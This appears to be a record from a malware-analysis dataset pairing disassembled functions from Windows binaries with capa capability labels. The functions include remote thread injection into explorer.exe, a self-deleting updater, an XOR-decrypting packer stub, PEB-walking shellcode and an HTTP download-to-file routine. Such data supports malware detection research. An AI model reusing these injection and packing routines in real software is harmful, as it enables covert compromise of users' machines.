joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401977
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
push 0x50
mov eax, 0x40f62e
call fcn.00403081
push 0x41030a
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryA]
push 0x4102f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x4019bf
push str.SetDefaultDllDirectories
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4019b8
push 0xc00
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x52
pop edi
push 0x41408c
lea ecx, [ebp - 0x14]
call fcn.004012f5
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], ebx
call fcn.00401714
mov esi, dword [ebp - 0x14]
pop ecx
test eax, eax
je 0x401ad6
push dword [ebp + 0x10]
lea ecx, [ebp - 0x10]
call fcn.00401692
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 1
call fcn.00401e10
pop ecx
cmp byte [eax + 7], 0xff
mov byte [ebp - 4], 2
jne 0x401a0c
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x18]
call fcn.004016d3
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 4
call fcn.00402090
push dword [ebp + 0x10]
lea eax, [ebp - 0x10]
push dword [ebp - 0x18]
push str._orgexename__s___s
push eax
call fcn.0040165f
push 0x38
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.00403110
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
add esp, 0x1c
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0x40
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x401a95
push 0xffffffffffffffff
push dword [ebp - 0x24]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401a9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401abd
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040116b
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.0040116b
push str._StubSelfUpdate
push dword [ebp + 0x10]
call fcn.004027e6
pop ecx
pop ecx
test eax, eax
je 0x401aee
call fcn.00401bf0
lea ecx, [esi - 0x10]
call fcn.0040116b
mov eax, edi
call fcn.004030ea
ret 0x10

Function at 0x401b80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00403110
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401bd6
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
jmp 0x401bd8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401bf0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x4140c0]
xor eax, ebp
mov dword [ebp - 0xc], eax
call fcn.00401b80
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x401c1e
xor eax, eax
jmp 0x401dff
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jne 0x401c5c
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401dff
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x134]
add edx, 0x80
mov dword [ebp - 0x190], edx
push 0x4103d0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
push 0x4103c4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push 0x4103b8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
push str.DeleteFileA
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x12c], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x401b30
call fcn.00401be0
add esp, 4
push eax
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dl, byte [0x41030a]
mov byte [ebp - 0x188], dl
push 0x4f
push 0
lea eax, [ebp - 0x187]
push eax
call fcn.00403110
add esp, 0xc
mov ecx, dword [ebp - 0x190]
push ecx
mov edx, dword [ebp - 0x134]
push edx
push str._x__x_n
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x188]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x401dfa
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00403072
mov esp, ebp
pop ebp
ret

Function at 0x403072
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4140c0]
jne 0x40307c
repz ret
jmp fcn.00407ecc
Function at 0x40ca4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4140c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407970
and dword [ebp - 0x14], 0
cmp dword [0x416308], 0
mov dword [ebp - 0x18], eax
jne 0x40caff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40cba7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40cba7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416308], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41630c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416310], eax
call edi
push eax
call esi
mov dword [0x416318], eax
test eax, eax
je 0x40caff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416314], eax
mov eax, dword [0x416314]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40cb58
cmp dword [0x416318], ecx
je 0x40cb58
push eax
call esi
push dword [0x416318]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40cb58
test ebx, ebx
je 0x40cb58
call edi
test eax, eax
je 0x40cb4f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40cb4f
test byte [ebp - 8], 1
jne 0x40cb58
or dword [ebp + 0x10], 0x200000
jmp 0x40cb8b
mov eax, dword [0x41630c]
cmp eax, dword [ebp - 0x18]
je 0x40cb8b
push eax
call esi
test eax, eax
je 0x40cb8b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40cb8b
mov eax, dword [0x416310]
cmp eax, dword [ebp - 0x18]
je 0x40cb8b
push eax
call esi
test eax, eax
je 0x40cb8b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416308]
call esi
test eax, eax
je 0x40cba7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40cba9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403072
leave
ret
Function at 0x1e7a2590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.1e7a1d16
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1e7a1ccb
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
invalid
movsd dword es:[edi], dword [esi]
aas
cld

Function at 0x1e7a2940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.1e7a1d16
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1e7a1ccb
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.1e7a1d06
test al, al
invalid

Function at 0x1e7a2bf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stosd dword es:[edi], eax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.1e7a1ce4
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
movsd dword es:[edi], dword [esi]
xchg esp, eax
cld
invalid
inc dword [eax]
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.1e7a1d16
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1e7a1ccb
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.1e7a1d06
test byte [0x4686641], cl
add dword [eax], eax
add byte [ebp - 0x12b7b], cl
call dword [eax - 1]
xchg ebp, eax
sub al, 0xfc
invalid
Function at 0x4022cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40f018
cmp edx, dword [eax]
je 0x4022ef
add eax, 8
inc ecx
cmp eax, 0x40f0a8
jl 0x4022e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40f018]
jne 0x40241d
mov eax, dword [0x40f3dc]
cmp eax, 1
je 0x4023f7
test eax, eax
jne 0x402320
cmp dword [0x40ef6c], 1
je 0x4023f7
cmp edx, 0xfc
je 0x40241d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402357
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403710
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403800
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40239a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403800
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405ba0
push edi
call fcn.00403910
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403710
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403720
lea eax, [ebp - 0xa0]
push 0x405b80
push eax
call fcn.00403720
push dword [esi + 0x40f01c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403720
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040387b
add esp, 0x2c
pop edi
jmp 0x40241d
lea eax, [ebp + 8]
lea esi, [esi + 0x40f01c]
push 0
push eax
push dword [esi]
call fcn.00403800
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x42e003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x7e683b7e
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x6f912db8
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x41e000
Capabilities:
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov eax, 0x30
nop
mov edi, dword fs:[eax]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0x1c]
mov edi, dword [edi]
mov edi, dword [edi + 8]
call 0x41e019
pop ebx
sub ebx, 0x401019
mov dword [ebx + 0x4011ed], edi
mov esi, edi
add esi, dword [esi + 0x3c]
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4011ed]
lea esi, [ebx + 0x4011c6]
nop
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x41e05a
pop esi
mov edx, esi
pop esi
jmp 0x41e06b
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x41e03b
sub esp, 4
jmp 0x41e18e
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4011ed]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4011ed]
mov eax, dword [eax]
add eax, dword [ebx + 0x4011ed]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4011ed]
lea eax, [ebx + 0x4011a1]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4011bd]
push eax
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
lea ecx, [ebx + 0x401193]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4011e1]
push eax
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x4011f1]
push ecx
push ecx
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
mov edx, 0x40112c
add edx, ebx
push edx
push eax
ret
jmp fcn.004040c0
Function at 0x41ea3c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0x14], 1
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x44], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x18], 0xffffffff
and dword [ebp - 8], 0
mov dword [ebp - 0x40], 0x64616f4c
mov dword [ebp - 0x3c], 0x6f736552
mov dword [ebp - 0x38], 0x65637275
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x40]
push eax
push 0x4082c8
call dword [0x4080f0]
push eax
call dword [0x4080e4]
mov dword [ebp - 8], eax
push 0x4082d8
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [0x4080b8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [0x4080d8]
mov dword [ebp - 4], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
call dword [0x4080ec]
cmp dword [ebp + 0x10], 0x65
jne 0x41eae2
mov dword [ebp - 0x1c], 0xc6f
cmp dword [ebp + 0x10], 0x66
jne 0x41eaef
mov dword [ebp - 0x1c], 0x145
push dword [ebp - 4]
call fcn.00424a27
pop ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x44]
push dword [ebp - 0x10]
call fcn.00424a15
add esp, 0xc
push 0
push dword [ebp - 0x1c]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.0041e5fb
push 0
push dword [ebp + 0x14]
push 2
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [fcn.004080b4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x41eb4c
and dword [ebp - 0x14], 0
jmp 0x41eb61
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call dword [fcn.004080d0]
cmp dword [ebp - 0x10], 0
je 0x41eb76
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.00424a21
pop ecx
cmp dword [ebp - 0x44], 0
je 0x41eb85
push dword [ebp - 0x44]
call dword [0x4080bc]
cmp dword [ebp - 0x18], 0xffffffff
je 0x41eb94
push dword [ebp - 0x18]
call dword [fcn.004080fc]
mov eax, dword [ebp - 0x14]
leave
ret 0x10
Function at 0x420078
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
and dword [ebp - 0x58], 0
and dword [ebp - 0x5c], 0
and dword [ebp - 0x64], 0
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 4
and dword [ebp - 0x44], 0
or dword [ebp - 0x50], 0xffffffff
and dword [ebp - 0x54], 0
and dword [ebp - 0x60], 0
push 0x40
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.00424a1b
add esp, 0xc
call fcn.0041ed07
push eax
push 0x408574
lea eax, [ebp - 0x40]
push eax
call dword [fcn.00408204]
add esp, 0xc
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [0x40822c]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x5c], 0x4e20
push 4
lea eax, [ebp - 0x5c]
push eax
push 2
push dword [ebp - 0x54]
call dword [0x408230]
push 0
push 0x84000100
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 0x54]
call dword [0x408238]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x420127
jmp 0x420238
mov dword [ebp - 0x5c], 0x7530
push 4
lea eax, [ebp - 0x5c]
push eax
push 6
push dword [ebp - 0x60]
call dword [0x408230]
push 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x20000013
push dword [ebp - 0x60]
call dword [0x408224]
test eax, eax
je 0x420164
cmp dword [ebp - 0x64], 0xc8
je 0x42016e
jmp 0x420238
push 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x20000005
push dword [ebp - 0x60]
call dword [0x408224]
test eax, eax
je 0x420190
cmp dword [ebp - 0x4c], 0
ja 0x42019a
jmp 0x420238
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 0xc]
call dword [fcn.004080b4]
mov dword [ebp - 0x50], eax
xor eax, eax
inc eax
je 0x420238
and dword [ebp - 0x6c], 0
and dword [ebp - 0x68], 0
push 0x400
push 0
lea eax, [ebp - 0x470]
push eax
call fcn.00424a1b
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
push 0x400
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x60]
call dword [0x408234]
cmp eax, 1
jne 0x420234
cmp dword [ebp - 0x6c], 0
je 0x420234
push 0
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x6c]
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x50]
call dword [fcn.004080d0]
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x68]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x4c]
jne 0x420232
mov dword [ebp - 0x58], 1
jmp 0x420238
jmp 0x420236
jmp 0x420238
jmp 0x4201b8
push dword [ebp - 0x50]
call dword [fcn.004080fc]
push dword [ebp - 0x60]
call dword [0x408228]
push dword [ebp - 0x54]
call dword [0x408228]
cmp dword [ebp - 0x58], 1
je 0x420262
push dword [ebp + 0xc]
call dword [0x408104]
mov eax, dword [ebp - 0x58]
leave
ret 8
Function at 0x4203a1
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or dword [ebp - 4], 0xffffffff
cmp dword [0x40cd40], 0
jne 0x42042e
push 0x400
call fcn.00424a27
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x40cd40], eax
and dword [ebp - 8], 0
jmp 0x4203d7
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x42042e
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 8
jmp 0x4203f6
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x42041d
mov eax, dword [ebp - 0xc]
and eax, 1
je 0x420413
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0xc], eax
jmp 0x42041b
mov eax, dword [ebp - 0xc]
shr eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4203ef
mov eax, dword [ebp - 8]
mov ecx, dword [0x40cd40]
mov edx, dword [ebp - 0xc]
mov dword [ecx + eax*4], edx
jmp 0x4203d0
and dword [ebp - 0x14], 0
jmp 0x42043b
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jae 0x420477
and dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x40cd40]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x420434
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 8